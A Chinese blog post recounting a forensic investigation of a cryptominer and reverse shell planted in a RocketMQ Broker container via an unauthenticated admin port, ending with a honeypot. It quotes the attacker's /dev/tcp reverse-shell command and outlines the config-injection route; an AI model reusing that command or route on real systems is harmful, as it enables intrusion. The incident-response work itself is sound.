一次 RocketMQ 容器被入侵挖矿的排查与蜜罐反制记录

一次 RocketMQ 容器被入侵挖矿的排查与蜜罐反制记录

前提摘要:

最近我正在开发即时通讯(聊天类软件),类似于仿QQ、微信类的即时通讯App,目前开发相对完善,基本在完善细节部分。而部署的服务端(也就是数据处理的服务器)在云服务器香港地区,这台服务器是由十一月赞助赠送的。在此云服务器中部署了很多服务,基本都是聊天服务器必备的软件。

而我在这台服务器上又部署了大模型API中转站业务,就是开发、查找问题、安全优化等操作都需要用到AI,中转站的作用是将DeepSeek、GLM、Kimi、Gemini、ChatGPT、Claude等API集中到一个API上,即多合一,简单来说将这么多的API集中到同一个API上,这样其中一个API出问题的时候能自动切换到另外一个API。

正文:

在今天0:58分,我的好友十一月向我说我的中转站API无法使用,提示CPU占用100%,意思是我服务器上的CPU高占用了,超过了系统的限制,把这个请求给拒绝了。

然后我就好奇,为什么CPU占用会这么满呢?然后我连接上了这个服务器,我查看了一下进程树。

我在服务器上运行了top命令,结果显示

top - 01:03:49 up 7 days,  9:27,  1 user,  load average: 4.51, 5.21Tasks: 186 total,   2 running, 184 sleeping,   0 stopped,   0 zombi%Cpu(s):  2.7 us,  1.3 sy, 95.9 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.1MiB Mem :   3910.0 total,    122.9 free,   3378.4 used,    667.3 buMiB Swap:   6144.0 total,   3072.6 free,   3071.4 used.    531.6 av
PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM
820078 3000      30  10 2491820   2.0g     12 S 384.7  53.5
2406 3000      20   0 6090460 441728  43984 S  11.6  11.0

关键数据:

%Cpu(s): 2.7 us, 1.3 sy, 95.9 ni, 0.0 id

id=0.0% 表示 CPU 没有任何空闲

ni=95.9% 表示绝大部分算力被调整过 nice 优先级的普通进程占用

我去,有点神奇,一个正常的程序为什么会调整自己的优先级去故意伪装?顺着这个思路,我看了一下这个进程,它运行在/tmp/usr/cs16/目录里面,于是我顺藤摸瓜,我打算看一下这个目录有什么东西

当我ls了一下这个目录发现,根本就没有这个目录?我百思不得其解。

于是我看了一下这个进程的名字,竟然是system-conf,这个名字很明显是系统程序,但是按理来说,一个正常的系统程序根本不会运行在/tmp这样的临时目录,这明显是可疑的,结合CPU占用大、内存吃了我2.3个g,我很快察觉这可能是一个挖矿程序,因为一个正常的程序,根本不会长时间跑满你的全部CPU核心。但是为什么查找不到这个目录呢?

我想,可能是程序启动后文件被删除,但是一个正常的程序为什么要启动后再删除自己的程序文件呢?这很可疑。

我突然一下就想到,如果一个进程运行在docker容器(相当于一个虚拟机)里,那么我从宿主机查看这个进程的运行目录,那么它就会显示是虚拟机里面的运行目录。顺着这个思路,我查看了一下是哪个容器。

查出来的容器是RocketMQ Broker,这就奇怪了,这样来说它不一定是挖矿木马,更像是 RocketMQ Broker 的 JVM 进程。

关键是:

PPID 2223

CMD:

sh mqbroker -n

以及环境变量:

ROCKETMQ_VERSION=5.0.0
PWD=/home/rocketmq/rocketmq-5.0.0/bin
JAVA=/usr/lib/jvm/java...
ROCKETMQ_HOME=/home/rocketmq/rocketmq-5.0.0

都是正常的,不像是挖矿程序的痕迹。这基本可以确认PID 820078 是 Apache RocketMQ 5.0.0 的 Broker 进程。

之前看到:

/tmp/usr/cs16/system-conf

是因为 ps 显示的是进程启动时的可执行路径,但现在文件不存在:

ls: cannot access '/tmp/usr/cs16/'

这说明可能有几种情况,第一种是程序启动后文件被删除,因为Linux 允许删除正在运行的文件,要么文件名消失要么进程继续占用已经打开的 inode,但是/proc/PID/exe 仍然能看到真实路径。

第二种可能是RocketMQ 被某种启动脚本复制到了临时目录运行。

但是重点有一个问题:

正常 RocketMQ Broker 不应该CPU占用378%、内存占用2.3GB持续 23 小时。

这明显不对劲。

于是我就好奇RocketMQ 为什么占满 CPU?

我还注意到一个异常点,我的进程环境:

JAVA_OPT_EXT=-Xms512m -Xmx512m -Xmn256m,说明 JVM 最大堆只有512MB,说明大部分内存都不是我正常的服务占用

我又运行了一些命令检查,我确认了这个进程不是正常的 RocketMQ Java Broker,而是一个被伪装替换的高CPU进程。

关键是它不是Java进程,我的程序写的语言都是Java,不可能出现一个不是Java程序的程序。我执行jstack 820078,它返回Unable to open socket file … target process 820078 doesn’t respond within 10500ms or HotSpot VM not loaded

正常 RocketMQ Broker 是 Java HotSpot 进程,jstack 应该能连接,这说明它不是 JVM或者进程根本不是 Java。

而且820713 97%

820715 97%

820712 93.9%

820714 75.8%

一个进程里面4个线程长期满载,这非常像我的服务器被入侵植入了挖矿程序。

而且我查了一下网络入口,我发现它连接了一个IP为95.214.55.226端口是37443的服务,我查了一下这个IP的归属地是荷兰的IP,我根本就没有荷兰的IP。这非常的可疑了,显然,我被黑客入侵了。

而且这个进程的行为非常像某个被删除文件仍在运行的 ELF 程序,而且不是普通 RocketMQ。

虽然我执行ls -lah /tmp/usr/cs16/命令显示这个目录不存在,但是CMD:

/tmp/usr/cs16/system-conf

仍然存在。所以更像有人用 RocketMQ 的启动脚本名字做伪装,实际运行了另一个二进制。

于是我运行了ls -l /proc/820078/exe,返回了lrwxrwxrwx 1 3000 3000 0 Aug 7 01:09 /proc/820078/exe -> /tmp/usr/cs16/system-conf,我在确认这个/proc/820078/exe是那个程序的时候,我复制了一份到我的/root/目录里面,我查看了这个程序的信息显示/root/system-conf_dump: ELF 64-bit LSB executable, x86-64, version
1 (SYSV), statically linked, no section header,意思是这是一个Linux可执行程序ELF,而且statically linked, no section header这个信息,表示这个程序刻意地去掉了section header的信息,因为很多正常 C/C++程序压根就不会去掉 section header,只有恶意程序才会经常这样做,目的是为了给你增加分析难度。

后面我还发现这个程序套了一个UPX壳,说明它用了 UPX 压缩。UPX 本身不是恶意软件,但正常软件用UPX很少见,恶意 ELF 用UPX非常常见。因为可以减小文件、隐藏字符串和增加静态分析难度,一个正常的程序你觉得会耍这些阴间手段?根本就不会。

还有这台机器的网络连接非常值得怀疑,我的机器主动连接95.214.55.226:37443,这说明这肯定是有问题的。

接下来其实想知道是不是挖矿程序,我只需要执行strings /root/system-conf_dump | grep -Ei “stratum|mining|pool|monero|xmr|wallet|crypt”就行了,于是我看了一下,返回了一些东西,我看了一下,我注意到:

.eh_pool
@xmr
CRYPTOy

我上网查了一下,xmr 通常指门罗币,CRYPTO和加密货币计算相关,pool 常见于矿池。很好很好很好,我还真被挖矿了。而且明显是被后期植入的,不可能是我用的程序本身自带的。

于是我查了一下,我发现它不是直接装在宿主机上的挖矿,而是运行在我的Docker容器里的恶意程序。

因为关键证据就是

systemd
 └─containerd-shim
     └─sh mqbroker -n 127.0.0.1:9876
         └─system-conf

意思是

宿主机
 └── Docker 容器
      └── 假冒 mqbroker 的进程
           └── system-conf 挖矿程序

这也就能解释为什么之前提示找不到那个目录,根本就是这个恶意程序运行在我的Docker容器里面,也就是说我不能在真机里对应的目录里面去查找虚拟机里面的文件。

于是我看了一下这个容器的真实名字,是叫linyu-rmq-broker,这个容器是我的业务必须要用到的服务,肯定是被感染了。

于是我运行了docker exec -it linyu-rmq-broker bash进入到这个容器内部,进来我立马执行ls -lah /tmp/usr/cs16/看一下这个目录

total 3.9M
drwxr-xr-x 2 rocketmq rocketmq 4.0K Aug  5 17:44 .
drwxr-xr-x 3 rocketmq rocketmq 4.0K Aug  5 17:44 ..
-rwxr-xr-x 1 rocketmq rocketmq 2.6K Aug  5 17:44 config.json
-rwxr-xr-x 1 rocketmq rocketmq 4.3K Aug  5 17:51 config_background.json
-rwxr-xr-x 1 rocketmq rocketmq  288 Aug  5 17:44 miner.sh
-rwxr-xr-x 1 rocketmq rocketmq 3.3M Jun 23  2025 system-conf
-rw-r--r-- 1 rocketmq rocketmq 547K Aug  6 17:12 system-conf.log

你奶奶的,miner.sh,miner是挖矿者的英文,这就是一个挖矿程序,你奶奶的,拿我的服务器挖矿,凭什么我要给你提供免费算力?

而且我还发现一个更严重的问题,我的服务器被反弹shell了。因为我执行ps aux其中有一条sh -c $@|sh . echo sh -i >& /dev/tcp/95.214.55.77/21341 0>&1;/bin/,这明显是被后期植入的。

那么,反弹shell(反向shell)是什么呢?shell的意思是你的服务器,它终端可以执行所有命令。正常shell连接可能会被防火墙拦截下来,因为是攻击者连接你的服务器,这大概率会被拦下来。但是反弹shell,就是反过来,是你的服务器连接攻击者的服务器,也就是说,攻击者连接你会被拦截,但是你主动连接攻击者,那么不会被拦截,毕竟你下载文件都是主动连接别人的服务器下载。

也就是说,攻击者他不仅挖矿,还获得了我容器的完整访问权限,他可以直接执行命令,他已经完全控制了我的容器。

你妹的,真是气煞我也。

我把目标转向了/tmp/usr/cs16/目录,我看到了

/tmp/usr/cs16/
├── config.json
├── config_background.json
├── miner.sh
├── system-conf
└── system-conf.log

翻译过来就是

miner.sh → 矿工启动脚本
system-conf → 挖矿程序
config_background.json → 后台配置
system-conf.log → 日志

还有一个重要的发现,ps aux还显示一条日志,rocketmq 580:

sh -c $@|sh . echo sh -i >& /dev/tcp/95.214.55.77/21341

它启动时间是Aug05。

说明,7月30日容器启动——8月5日攻击者进入——注入矿工——建立后门。

这时我想确认是不是官方的容器就已经被污染了,我执行了docker diff linyu-rmq-broker,返回了很长一串文字,我总结了一下。

官方 apache/rocketmq:5.0.0 镜像本身没有被修改,攻击者是在运行中的容器可写层里植入了文件。

证据:

A /tmp/usr/cs16/system-conf
A /tmp/usr/cs16/miner.sh
A /tmp/usr/cs16/config.json
A /tmp/usr/cs16/config_background.json

这里的 A 表示 Added(新增),也就是说这些东西不是镜像本来就有的,而是在容器启动后被写进去的。但还有一个更重要的发现:

我的容器有:

Config:
    "User": "rocketmq"

也就是说攻击者不是通过root最高管理员权限进入容器,而是进入 RocketMQ 容器后以 rocketmq普通用户执行命令下载/写入矿工然后再启动反弹 shell。

这说明漏洞可能在RocketMQ 服务暴露、应用配置弱口令、容器内服务被利用或我的业务程序调用链。

现在还原攻击时间线:

7月30日

容器创建:

Up 7 days

RocketMQ 正常启动。

8月5日

出现:

/tmp/usr/cs16/

并且:

miner.sh
system-conf

被写入。

同时:

sh -i >& /dev/tcp/95.214.55.77/21341

反弹 Shell 建立。

8月6日

矿工运行:

system-conf.log

持续产生日志。

于是我把这些挖矿程序样本、有关日志、容器完整镜像提取全部都给了AI分析,至此攻击链路已经清晰了。以下内容由AI生成:

这是一份针对 RocketMQ Broker 容器被入侵挖矿的事件报告,简要总结如下:

入侵路径

公网可访问的 RocketMQ 管理接口(无 ACL/认证)→ 攻击者调用 updateBrokerConfig,把 rocketmqHome 参数篡改为命令注入 payload → RocketMQ FilterServer 执行该命令 → 建立反弹 Shell → 获得容器控制权。

攻击者操作

8/5 部署伪装成 system-conf 的 XMRig 6.24.0 挖矿程序(UPX 压缩,ELF 静态链接),配合 miner.sh 做进程存活检测和低优先级隐蔽运行

8/6 凌晨多次建立反弹 Shell,切换过 3 个 C2/矿池地址(均属同一 ASN:AS201814 MEVSPACE)

矿工连接矿池 95.214.55.226:37443,挖 Monero,收益到指定钱包地址

影响范围

已确认:容器被完全控制、RCE、反弹 Shell、挖矿程序落地并持续运行

未发现:宿主机 persistence(systemd/cron/SSH 后门)、提权到宿主机、数据泄露证据

根因

RocketMQ 5.0.0 管理端口(9876/10909/10911/10912)暴露公网且未开启 ACL,导致未授权用户可远程改配置触发命令执行。

结论:单纯挖矿事件,入口明确(RocketMQ 未授权 RCE),暂无宿主机失陷证据,但需尽快封堵入口并核查是否有横向渗透遗留

你妹的,真就连吃带拿,没给我客气一点。我用大白话解释一下,就是我这个服务有一个地方没有设置鉴权功能,然后攻击者利用这个漏洞控制了我的容器,还给我留了一个后门。

当然,比起一味的防御,我更喜欢发起进攻。

经过三个小时的折腾和测试,我为攻击者量身定造了一个蜜罐(简称假环境)

我现在已经把他给我植入的挖矿程序给停掉了,但是文件我没有删。我将这个假环境内存限制到1G,CPU只能用0.5核,也就是说就算被挖矿,一天下来连几毛钱都没有,我还限制了下载速度,只有0.3Mb/s,相当于是龟速了,上传速度我也限制在0.125Mb/s,这压根就干不了啥了。而且我还设置了一个监控,只要攻击者再次连接我的容器无论干了什么我都能还原出来,这招叫做钓鱼执法,目的是浪费攻击者的时间的同时,让我们知道更多攻击者的攻击手段。

目前等待后续吧,我有点期待他会再次来入侵我的服务器了。

上一篇